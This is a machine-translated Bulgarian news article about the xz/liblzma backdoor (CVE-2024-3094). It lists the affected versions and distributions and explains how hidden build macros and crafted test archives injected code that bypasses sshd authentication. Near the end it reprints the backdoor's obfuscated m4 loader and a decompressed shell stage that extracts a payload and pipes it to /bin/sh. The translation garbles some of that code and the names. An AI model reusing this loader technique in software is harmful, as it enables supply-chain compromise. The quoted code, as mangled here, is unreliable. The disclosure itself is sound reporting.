Беше открита задна врата в библиотеката xz/liblzma, която позволява влизане през sshd

В пакета XZ Utils, който включва библиотеката liblzma и помощни програми за работа с компресирани данни във формат „.xz“, е идентифицирана задна врата (CVE-2024-3094), която позволява прихващането и модифицирането на данни, обработвани от свързани приложения с библиотеката liblzma. Основната цел на задната врата е сървърът OpenSSH, който в някои дистрибуции е в комплект с библиотеката libsystemd, която от своя страна използва liblzma. Свързването на sshd с уязвима библиотека позволява на атакуващите да получат достъп до SSH сървъра без удостоверяване.

Задната вратичка присъстваше в официалните версии 5.6.0 и 5.6.1, публикувани на 24 февруари и 9 март, които успяха да влязат в някои дистрибуции и хранилища, например Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-бета, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. На всички потребители на xz версии 5.6.0 и 5.6.1 се препоръчва спешно да се върнат към версия 5.4.6.

Сред факторите, смекчаващи проблема, може да се отбележи, че версията на liblzma със задна врата не успя да стане част от стабилните версии на големи дистрибуции, но засегна openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo използваха уязвима версия на zx, но не са податливи на атаката, защото не прилагат корекцията systemd-notify към openssh, което кара sshd да бъде свързан с liblzma. Задната вратичка засяга само x86_64 системи, базирани на ядрото на Linux и библиотеката Glibc C.

Кодът за активиране на задната врата беше скрит в m4 макроси от файла build-to-host.m4, използван от инструментариума automake при изграждането. По време на асемблирането, по време на изпълнението на сложни обфусцирани операции, базирани на архиви (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), използвани за тестване на коректността на операцията, беше генериран обектен файл със злонамерен код, който беше включен в библиотеката liblzma и промени логиката на работа на някои от нейните функции. Макросите m4, които активират задната вратичка, бяха включени в tarballs на изданието, но не бяха в хранилището на Git. В същото време в хранилището присъстваха злонамерени тестови архиви, т.е. лицето, което е внедрило задната вратичка, е имало достъп както до хранилището, така и до процесите на генериране на версия.

Когато използвате liblzma в приложения, злонамерените промени могат да бъдат използвани за прихващане или модифициране на данни или да повлияят на работата на sshd. По-специално, злонамереният код е подправил функцията RSA_public_decrypt, за да заобиколи процеса на удостоверяване на sshd. Задната вратичка включваше защита от откриване и не се проявяваше, когато променливите на средата LANG и TERM бяха зададени (т.е. при стартиране на процеса в терминала) и променливите на средата LD_DEBUG и LD_PROFILE не бяха зададени, и също беше активирана само при изпълнение на /usr/sbin/sshd изпълним файл. Задната врата също имаше средство за откриване на изпълнение в среди за отстраняване на грешки.

По-специално, файлът m4/build-to-host.m4 използва gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_префикс -d 2>/dev/null'

В първата конструкция операцията grep намери файла tests/files/bad-3-corrupt_lzma2.xz, който, когато се разопакова, генерира скрипта: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && изход 0 [ ! $(uname) = "Linux" ] && изход 0 [ ! $(uname) = "Linux" ] && изход 0 [ ! $(uname) = "Linux" ] && изход 0 [ ! $(uname) = "Linux" ] && изход 0 eval `grep ^srcdir= config.status` if test -f ../../config.status; then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi експортиране i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && глава -c +2048 && (глава -c +1024 >/dev/null) && глава -c +2048 && (глава -c +1024 >/dev/null) && глава -c +939)"; (xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Свят####

Все още не е напълно изяснено как нападателите са успели да получат достъп до инфраструктурата на проекта xz. Също така все още не е ясно колко потребители и проекти са били компрометирани в резултат на задната врата. Предполагаемият автор на задната врата (JiaT75 - Jia Tan), който публикува архиви със злонамерен код в хранилището, кореспондира с разработчиците на Fedora и изпраща заявки за изтегляне на Debian, свързани с прехода на дистрибуции към клона xz 5.6.0, и не буди подозрение, тъй като той участва в xz се развива през последните две години и е вторият разработчик по отношение на броя на направените промени. В допълнение към проекта xz, предполагаемият автор на задната вратичка също участва в разработването на пакетите xz-java и xz-embedded. Освен това, Jia Tan преди няколко дни беше включен в броя на поддържащите проекта XZ Embedded, използван в ядрото на Linux.

Злонамерената промяна беше открита след анализиране на прекомерното потребление на процесора и грешките, генерирани от valgrind при свързване чрез ssh към системи, базирани на Debian. Трябва да се отбележи, че изданието xz 5.6.1 включва промени, подготвени от предполагаемия автор на задната врата в отговор на оплаквания за забавяне на sshd и сривове, възникнали след надграждането до версията zx 5.6.0 със задната врата. Освен това, миналата година Jia Tan направи промени, които бяха несъвместими с режима на проверка „-fsanitize=address“, което доведе до деактивирането му по време на тестване на размитите елементи.

Източник: opennet.ru